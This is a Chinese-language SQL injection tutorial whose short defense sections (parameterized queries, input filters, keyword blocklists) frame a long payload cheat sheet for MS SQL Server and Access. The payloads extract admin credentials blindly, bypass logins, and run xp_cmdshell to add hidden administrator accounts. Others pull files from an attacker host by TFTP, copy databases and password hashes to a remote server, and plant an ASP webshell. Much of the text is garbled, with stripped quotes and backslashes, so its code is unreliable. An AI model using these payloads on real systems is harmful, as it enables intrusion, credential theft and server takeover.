sql注入攻防入门详解

一、原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的资料库配置或资料库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的资料库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字元处理不合适;⑥多个提交处理不当二、攻击

当应用程序使用输入内容来构造动态sql语句以访问资料库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字元串来传递,也会发生sql注入。sql注入可能导致攻击者使用应用程序登陆在资料库中执行命令。相关的SQL注入可以通过测试工具pangolin进行。如果应用程序使用特权过高的帐户连接到资料库,这种问题会变得很严重。在某些表单中,用户输入的内容直接用来构造动态sql命令,或者作为存储过程的输入参数,这些表单特别容易受到sql注入的攻击。而许多网站程序在编写时,没有对用户输入的合法性进行判断或者程序中本身的变数处理不当,使应用程序存在安全隐患。这样,用户就可以提交一段资料库查询的代码,根据程序返回的结果,获得一些敏感的信息或者控制整个伺服器,于是sql注入就发生了

三、防护归纳一下,主要有以下几点:1.永远不要信任用户的输入。对用户的输入进行校验,可以通过正则表达式,或限制长度;对单引号和双"-"进行转换等。2.永远不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。3.永远不要使用管理员许可权的资料库连接,为每个应用使用单独的许可权有限的资料库连接。4.不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。5.应用的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装6.sql注入的检测方法一般采取辅助软体或网站平台来检测,软体一般采用sql注入检测工具jsky,网站平台就有亿思网站安全平台检测工具。MDCSOFT SCAN等。采用MDCSOFT-IPS可以有效的防御SQL注入,XSS攻击等

SOL注入注入方法

方法1

先猜表名And (Select count(*) from 表名)<>0猜列名And (Select count(列名) from 表名)<>0或者也可以这样and exists (select * from 表名)and exists (select 列名 from 表名)返回正确的,那么写的表名或列名就是正确

这里要注意的是,exists这个不能应用于猜内容上,例如and exists (select len(user) from admin)>3 这样是不行的

很多人都是喜欢查询里面的内容,一旦iis没有关闭错误提示的,那么就可以利用报错方法轻松获得库里面的内容获得资料库连接用户名:;and user>0这个是小竹提出来的,我这里引用《SQL注入天书》里面的一段话来讲解:"重点在and user>0,我们知道,user是SQLServer的一个内置变数,它的值是当前连接的用户名,类型为nvarchar。拿一个 nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错,SQLServer的出错提示是:将nvarchar转换int异常,XXXX不能转换成int"看到这里大家明白了吧,报错的原理就是利用SQLserver内置的系统表进行转换查询,转换过程会出错,然后就会显示出在网页上,另外还有类似的and 1=(selet top 1 user from admin),这种语句也是可以爆出来的。;and db_name()>0 则是暴资料库名。一旦关闭了IIS报错,那么还可以用union(联合查询)来查内容,主要语句就是Order by 10And 1=2 union select 1,2,3,4,5,6,7,8,9,10 from adminAnd 1=2 union select 1,2,3,user,5,passwd,7,8,9,10 from admin

上面的order by 10主要就是查栏位数目,admin就是表名,可以自己猜,user,passwd是列名

反正就是返回正确即对,返回异常即错另外还有十分常用的ASCII码拆半法先要知道指定列名,例如user里的内容的长度and (select len(user) from admin)=2 就是查询长度为不为2位,返回错误的增加或减少数字,一般这个数字不会太大,太大的就要放弃了,猜也多余后面的逻辑符号可以根据不同要求更改的,>;大于 <;小于 =就是等于咯,更新语句的话,=也可以表示传递符号 <>;就是不等知道了长度后就可以开始猜解了And (Select top 1 asc(mid(user,n,1)) from admin)>100n就是猜解的表名的第几位,最后的长度数字就是刚才猜解出来的列名长度了,And (Select top 1 asc(mid(user,1,1)) from admin)>100 就是猜解user里内容的第一位的ASCII字元是不是大于100

正确的话,那么表示USER第一个字元的ASCII码大于100,那么就猜>120,返回错误就是介于100-120之间,然后再一步一步的缩少,最终得到正确字元XXX,然后用ASCII转换器吧这个转换成普通字元就可以了

然后就是第二位 And (Select top 1 asc(mid(user,2,1)) from admin)>100 一直猜下去加在url后面,列名表名还是先猜解,返回正确的代表帐号的ASCII码大于100,那么就再向前猜,直到报错,把猜出来的ASCII码拿去ASCII转换器转换就可以了,中文是负数,加上asb取绝对值And (Select top 1 asb(asc(mid(user,n,1))) from admin)>15320得到之后就记得在数字前加-号,不然ASCII转换器转换不来的,中文在ASCII码里是-23423这样的,所以猜起来挺麻烦这个猜解速度比较慢,但是效果最好,最具有广泛性方法2后台身份验证绕过漏洞验证绕过漏洞就是or=or后台绕过漏洞,利用的就是AND和OR的运算规则,从而造成后台脚本逻辑性错误例如管理员的账号密码都是admin,那么再比如后台的资料库查询语句是

user=request("user")

passwd=request("passwd")sql=select admin from adminbate where user=&&user&& and passwd=&&passwd&那么我使用or a=a来做用户名密码的话,那么查询就变成了select admin from adminbate where user=or a=a and passwd=or a=a这样的话,根据运算规则,这里一共有4个查询语句,那么查询结果就是 假or真and假or真,先算and 再算or,最终结果为真,这样就可以进到后台了这种漏洞存在必须要有2个条件,第一个:在后台验证代码上,账号密码的查询是要同一条查询语句,也就是类似sql="select * from admin where username="&username&&"passwd="&passwd&如果一旦账号密码是分开查询的,先查帐号,再查密码,这样的话就没有办法了。第二就是要看密码加不加密,一旦被MD5加密或者其他加密方式加密的,那就要看第一种条件有没有可以,没有达到第一种条件的话,那就没有戏了

方法3

防御方法对于怎么防御SQL注入呢,这个网上很多,我这里讲几个如果自己编写防注代码,一般是先定义一个函数,再在里面写入要过滤的关键词,如select ; 「」;from;等,这些关键词都是查询语句最常用的词语,一旦过滤了,那么用户自己构造提交的数据就不会完整地参与资料库的操作。当然如果你的网站提交的数据全部都是数字的,可以使用小竹提供的方法Function SafeRequest(ParaName,ParaType)--- 传入参数 ---ParaName:参数名称-字元型ParaType:参数类型-数字型(1表示以上参数是数字,0表示以上参数为字元)Dim ParaValue

ParaValue=Request(ParaName)

If ParaType=1 thenIf not isNumeric(ParaValue) thenResponse.write "参数" & ParaName & "必须为数字型!"Response.endEnd ifElseParaValue=replace(ParaValue,"","")End ifSafeRequest=ParaValue

End function

然后就用SafeRequest()来过滤参数 ,检查参数是否为数字,不是数字的就不能通过

SQL注入语句特征

1.判断有无注入点

; and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pass password 等..and 0<>(select count(*) from *)and 0<>(select count(*) from admin) ---判断是否存在admin这张表3.猜帐号数目 如果遇到0< 返回正确页面, 1<返回错误页面,说明帐号数目就是1个and 0<(select count(*) from admin)and 1<(select count(*) from admin)4.猜解栏位名称 在len( ) 括弧里面加上我们想到的栏位名称.and 1=(select count(*) from admin where len(*)>0)--and 1=(select count(*) from admin where len(用户栏位名称name)>0)and 1=(select count(*) from admin where len(密码栏位名称password)>0)5.猜解各个栏位的长度 猜解长度就是把>0变换 直到返回正确页面为止and 1=(select count(*) from admin where len(*)>0)and 1=(select count(*) from admin where len(name)>6) 错误and 1=(select count(*) from admin where len(name)>5) 正确 长度是6and 1=(select count(*) from admin where len(name)=6) 正确and 1=(select count(*) from admin where len(password)>11) 正确and 1=(select count(*) from admin where len(password)>12) 错误 长度是12and 1=(select count(*) from admin where len(password)=12) 正确6.猜解字元and 1=(select count(*) from admin where left(name,1)=a) ---猜解用户帐号的第一位and 1=(select count(*) from admin where left(name,2)=ab)---猜解用户帐号的第二位就这样一次加一个字元这样猜,猜到够你刚才猜出来的多少位了就对了,帐号就算出来了and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --这个查询语句可以猜解中文的用户和密码.只要把后面的数字换成中文的ASSIC码就OK.最后把结果再转换成字元.group by users. id having 1=1--group by users. id,users.username,users.password,users.privs having 1=1--; insert into users values( 666,attacker,foobar,0xffff )--UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN(login_id)-UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN(login_id,login_name)-UNION SELECT TOP 1 login_name FROM logintable-UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--看伺服器打的补丁=出错了打了SP4补丁and 1=(select @@VERSION)--看资料库连接账号的许可权,返回正常,证明是伺服器角色sysadmin许可权。and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--判断连接资料库帐号。(采用SA账号连接 返回正常=证明了连接账号是SA)and sa=(SELECT System_user)--and user_name()=dbo--and 0<>(select user_name()--看xp_cmdshell是否删除and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--xp_cmdshell被删除,恢复,支持绝对路径的恢复;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll--反向PING自己实验;use master;declare @s int;exec sp_oacreate "wscript.shell",@s out;exec sp_oamethod @s,"run",NULL,"cmd.exe /c ping 192.168.0.1";--加帐号;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe/c net user jiaoniang$ 1866574 /add--创建一个虚拟目录E盘:;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs -w "默认Web站点" -v "e","e:"--访问属性:(配合写入一个webshell)declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse爆库 特殊技巧::%5c= 或者把/和 修改%5提交and 0<>(select top 1 paths from newtable)--得到库名(从1到5都是系统的id,6以上才可以判断)and 1=(select name from master.dbo.sysdatabases where dbid=7)--and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)依次提交 dbid = 7,8,9.... 得到更多的资料库名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一个表 假设为 adminand 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 来得到其他的表。and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=adminand uid>(str(id))) 暴到UID的数值假设为18779569 uid=idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一个admin的一个栏位,假设为 user_idand 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in(id,...)) 来暴出其他的栏位and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用户名依次可以得到密码。假设存在user_id username,password 等栏位and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判断id值and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有栏位id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from adminid=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access也好用)得到WEB路径;create table [dbo].[swap] ([swappass][char](255));--and (select top 1 swappass from swap)=1--;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread@rootkey=HKEY_LOCAL_MACHINE,@key=SYSTEMCurrentControlSetServicesW3SVCParametersVirtual Roots,@value_name=/,values=@testOUTPUT insert into paths(path) values(@test)--;use ku1;--;create table cmd (str image);-- 建立image类型的表cmd存在xp_cmdshell的测试过程:;exec master..xp_cmdshell dir;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帐号;exec master.dbo.sp_password null,jiaoniang$,1866574;--;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes/active:yes /add;--;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--exec master..xp_servicecontrol start,schedule 启动服务exec master..xp_servicecontrol start,server; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe /c net user jiaoniang$ 1866574 /add;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe/c net localgroup administrators jiaoniang$ /add; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上传文件;declare @a sysname set @a=xp_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目录bak.dat如果被限制则可以。select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)查询构造:SELECT * FROM news WHERE id=... AND topic=... AND .....adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>select 123;--;use master;--:a or name like fff%;-- 显示有一个叫ffff的用户哈。and 1<>(select count(email) from [user]);--;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--;update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110) where name=ffff;--;update [users] set email=(select top 1 count(id) from password) where name=ffff;--;update [users] set email=(select top 1 pwd from password where id=2) where name=ffff;--;update [users] set email=(select top 1 name from password where id=2) where name=ffff;--上面的语句是得到资料库中的第一个用户表,并把表名放在ffff用户的邮箱栏位中。通过查看ffff的用户资料可得第一个用表叫ad然后根据表名ad得到这个表的ID 得到第二个表的名字insert into users values( 666,char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73),0xffff)--insert into users values( 667,123,123,0xffff)--insert into users values ( 123,admin--,password,0xffff)--;and user>0;and (select count(*) from sysobjects)>0;and (select count(*) from mysysobjects)>0 //为access资料库枚举出数据表名;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0);--这是将第一个表名更新到aaa的栏位处。读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>;刚才得到的表名)。;update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and name<>vote);--然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。读栏位是这样:;update aaa set aaa=(select top 1 col_name(object_id(表名),1));--然后id=152 and exists(select * from aaa where aaa>5)出错,得到栏位名;update aaa set aaa=(select top 1 col_name(object_id(表名),2));--然后id=152 and exists(select * from aaa where aaa>5)出错,得到栏位名[获得数据表名][将栏位值更新为表名,再想法读出这个栏位的值就可得到表名]update 表名 set 栏位=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>;你得到的表名 查出一个加一个])[ where 条件] select top 1 name from sysobjects where xtype=u and status>0 and name not in(table1,table2,…)通过SQLSERVER注入漏洞建资料库管理员帐号和系统管理员帐号[当前帐号必须是SYSADMIN组][获得数据表栏位名][将栏位值更新为栏位名,再想法读出这个栏位的值就可得到栏位名]update 表名 set 栏位=(select top 1 col_name(object_id(要查询的数据表名),栏位列如:1) [ where 条件]绕过IDS的检测[使用变数];declare @a sysname set @a=xp_+cmdshell exec @a dir c:;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:开启远程资料库基本语法select * from OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1 )参数: (1) OLEDB Provider name其中连接字元串参数可以是任何埠用来连接,比如select * from OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table复制目标主机的整个资料库insert所有远程表到本地表。基本语法:insert into OPENROWSET(SQLOLEDB,server=servername;uid=sa;pwd=123,select * from table1) select * from table2这行语句将目标主机上table2表中的所有数据复制到远程资料库中的table1表中。实际运用中适当修改连接字元串的IP地址和埠,指向需要的地方,比如:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * fromtable2insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysdatabases)select * from master.dbo.sysdatabasesinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysobjects)select * from user_database.dbo.sysobjectsinsert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _syscolumns)select * from user_database.dbo.syscolumns复制资料库:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table1) select * from database..table1 insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from table2) select * fromdatabase..table2复制哈西表(HASH)登录密码的hash存储于sysxlogins中。方法如下:insert into OPENROWSET(SQLOLEDB,uid=sa;pwd=123;Network=DBMSSOCN;Address=192.168.0.1,1433;,select * from _sysxlogins) select* from database.dbo.sysxlogins得到hash之后,就可以进行暴力破解。遍历目录的方法:先创建一个临时表:temp;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器;insert into temp(id) exec master.dbo.xp_subdirs c:;-- 获得子目录列表;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- 获得所有子目录的目录树结构,并寸入temp表中;insert into temp(id) exec master.dbo.xp_cmdshell type c:webindex.asp;-- 查看某个文件的内容;insert into temp(id) exec master.dbo.xp_cmdshell dir c:;--;insert into temp(id) exec master.dbo.xp_cmdshell dir c: *.asp /s/a;--;insert into temp(id) exec master.dbo.xp_cmdshell cscript. C:InetpubAdminScriptsadsutil.vbs enum w3svc;insert into temp(id,num1) exec master.dbo.xp_dirtree c:;-- (xp_dirtree适用许可权PUBLIC)写入表:语句1:and 1=(SELECT IS_SRVROLEMEMBER(sysadmin));--语句2:and 1=(SELECT IS_SRVROLEMEMBER(serveradmin));--语句3:and 1=(SELECT IS_SRVROLEMEMBER(setupadmin));--语句4:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--语句5:and 1=(SELECT IS_SRVROLEMEMBER(securityadmin));--语句6:and 1=(SELECT IS_SRVROLEMEMBER(diskadmin));--语句7:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--语句8:and 1=(SELECT IS_SRVROLEMEMBER(bulkadmin));--语句9:and 1=(SELECT IS_MEMBER(db_owner));--把路径写到表中去:;create table dirs(paths varchar(100),id int)--;insert dirs exec master.dbo.xp_dirtree c:--and 0<>(select top 1 paths from dirs)--and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))--;create table dirs1(paths varchar(100),id int)--;insert dirs exec master.dbo.xp_dirtree e:web--and 0<>(select top 1 paths from dirs1)--把资料库备份到网页目录:下载;declare @a sysname; set @a=db_name();backup database @a to disk=e:webdown.bak;--and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T order by id desc)and 1=(Select Top 1 col_name(object_id(USER_LOGIN),1) from sysobjects) 参看相关表。and 1=(select user_id from USER_LOGIN)and 0=(select user from USER_LOGIN where user>1)-=-wscript.shellexample -=-declare @o intexec sp_oacreate wscript.shell,@o outexec sp_oamethod @o,run,NULL,notepad.exe; declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,notepad.exe--declare @o int,@f int,@t int,@ret intdeclare @line varchar(8000)exec sp_oacreate scripting.filesystemobject,@o outexec sp_oamethod @o,opentextfile,@f out,c:oot.ini,1exec @ret = sp_oamethod @f,readline,@line outwhile( @ret = 0 )beginprint @lineexec @ret = sp_oamethod @f,readline,@line outenddeclare @o int,@f int,@t int,@ret intexec sp_oacreate scripting.filesystemobject,@o outexec sp_oamethod @o,createtextfile,@f out,c:inetpubwwwrootfoo.asp,1exec @ret = sp_oamethod @f,writeline,NULL,<% set o = server.createobject("wscript.shell"): o.run( request.querystring("cmd") ) %>declare @o int,@ret intexec sp_oacreate speech.voicetext,@o outexec sp_oamethod @o,register,NULL,foo,barexec sp_oasetproperty @o,speed,150exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to,us,528 waitfor delay 00:00:05; declare @o int,@ret int exec sp_oacreate speech.voicetext,@o out exec sp_oamethod @o,register,NULL,foo,bar execsp_oasetproperty @o,speed,150 exec sp_oamethod @o,speak,NULL,all your sequel servers are belong to us,528 waitfor delay 00:00:05--xp_dirtree适用许可权PUBLICexec master.dbo.xp_dirtree c:返回的信息有两个栏位subdirectory、depth。Subdirectory栏位是字元型,depth栏位是整形栏位。create table dirs(paths varchar(100),id int)建表,这里建的表是和上面xp_dirtree相关连,栏位相等、类型相同。insert dirs exec master.dbo.xp_dirtree c:只要我们建表与存储进程返回的栏位相定义相等就能够执行!达到写表的效果.

SQL注入防范

1、输入验证

检查用户输入的合法性,确信输入的内容只包含合法的数据。数据检查应当在客户端和伺服器端都执行之所以要执行伺服器端验证,是为了弥补客户端验证机制脆弱的安全性。在客户端,攻击者完全有可能获得网页的源代码,修改验证合法性的脚本(或者直接删除脚本),然后将非法内容通过修改后的表单提交给伺服器。因此,要保证验证操作确实已经执行,唯一的办法就是在伺服器端也执行验证。你可以使用许多内建的验证对象,例如Regular Expression Validator,它们能够自动生成验证用的客户端脚本,当然你也可以插入伺服器端的方法调用。如果找不到现成的验证对象,你可以通过Custom Validator自己创建一个。2、错误消息处理防范SQL注入,还要避免出现一些详细的错误消息,因为黑客们可以利用这些消息。要使用一种标准的输入确认机制来验证所有的输入数据的长度、类型、语句、企业规则等。3、加密处理将用户登录名称、密码等数据加密保存。加密用户输入的数据,然后再将它与资料库中保存的数据比较,这相当于对用户输入的数据进行了「消毒」处理,用户输入的数据不再对资料库有任何特殊的意义,从而也就防止了攻击者注入SQL命令。4、存储过程来执行所有的查询SQL参数的传递方式将防止攻击者利用单引号和连字元实施攻击。此外,它还使得资料库许可权可以限制到只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。5、使用专业的漏洞扫描工具攻击者们目前正在自动搜索攻击目标并实施攻击,其技术甚至可以轻易地被应用于其它的Web架构中的漏洞。企业应当投资于一些专业的漏洞扫描工具,如大名鼎鼎的Acunetix的Web漏洞扫描程序等。一个完善的漏洞扫描程序不同于网路扫描程序,它专门查找网站上的SQL注入式漏洞。最新的漏洞扫描程序可以查找最新发现的漏洞。6、确保资料库安全锁定你的资料库的安全,只给访问资料库的web应用功能所需的最低的许可权,撤销不必要的公共许可,使用强大的加密技术来保护敏感数据并维护审查跟踪。如果web应用不需要访问某些表,那么确认它没有访问这些表的许可权。如果web应用只需要只读的许可权,那么就禁止它对此表的 drop 、insert、update、delete 的许可权,并确保资料库打了最新补丁。7、安全审评在部署应用系统前,始终要做安全审评。建立一个正式的安全过程,并且每次做更新时,要对所有的编码做审评。开发队伍在正式上线前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关, 「就是一个小小的更新,我们以后再做编码审评好了」。请始终坚持做安全审评。

防止SOL注入五种方法

一、(简单又有效的方法)PreparedStatement

采用预编译语句集,它内置了处理SQL注入的能力,只要使用它的setXXX方法传值即可。使用好处:(1).代码的可读性和可维护性.(2).PreparedStatement尽最大可能提高性能.(3).最重要的一点是极大地提高了安全性.原理:sql注入只对sql语句的准备(编译)过程有破坏作用而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,而不再对sql语句进行解析,准备,因此也就避免了sql注入问题.二、使用正则表达式过滤传入的参数要引入的包:import java.util.regex.*;正则表达式:private String CHECKSQL = 「^(.+)\sand\s(.+)|(.+)\sor(.+)\s$」;判断是否匹配:Pattern.matches(CHECKSQL,targerStr);下面是具体的正则表达式:检测SQL meta-characters的正则表达式 :/(\%27)|(』)|(--)|(\%23)|(#)/ix修正检测SQL meta-characters的正则表达式 :/((\%3D)|(=))[^
]*((\%27)|(』)|(--)|(\%3B)|(:))/i典型的SQL 注入攻击的正则表达式 :/w*((\%27)|(』))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix检测SQL注入,UNION查询关键字的正则表达式 :/((\%27)|(』))union/ix(\%27)|(』)检测MS SQL Server SQL注入攻击的正则表达式:/exec(s|+)+(s|x)pw+/ix等等…..三、字元串过滤比较通用的一个方法:(||之间的参数可以根据自己程序的需要添加)public static boolean sql_inj(String str){String inj_str = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";String inj_stra[] = split(inj_str,"|");for (int i=0 ; i < inj_stra.length ; i++ ){if (str.indexOf(inj_stra[i])>=0){return true;}}return false;}四、jsp中调用该函数检查是否包函非法字元防止SQL从URL注入:sql_inj.java代码:package sql_inj;import java.net.*;import java.io.*;import java.sql.*;import java.text.*;import java.lang.String;public class sql_inj{public static boolean sql_inj(String str){String inj_str = "|and|exec|insert|select|delete|update|count|*|%|chr|mid|master|truncate|char|declare|;|or|-|+|,";//这里的东西还可以自己添加String[] inj_stra=inj_str.split("\|");for (int i=0 ; i < inj_stra.length ; i++ ){if (str.indexOf(inj_stra[i])>=0){return true;}}return false;}}五、JSP页面判断代码使用javascript在客户端进行不安全字元屏蔽功能介绍:检查是否含有」『」,」\」,」/」参数说明:要检查的字元串返回值:0:是1:不是函数名是function check(a){return 1;fibdn = new Array (」『」 ,」\」,」/」);i=fibdn.length;j=a.length;for (ii=0; ii<i; ii++){ for (jj=0; jj<j; jj++){ temp1=a.charAt(jj);temp2=fibdn[ii];if (tem』; p1==temp2){ return 0; }}}return 1;}
推荐阅读:
相关文章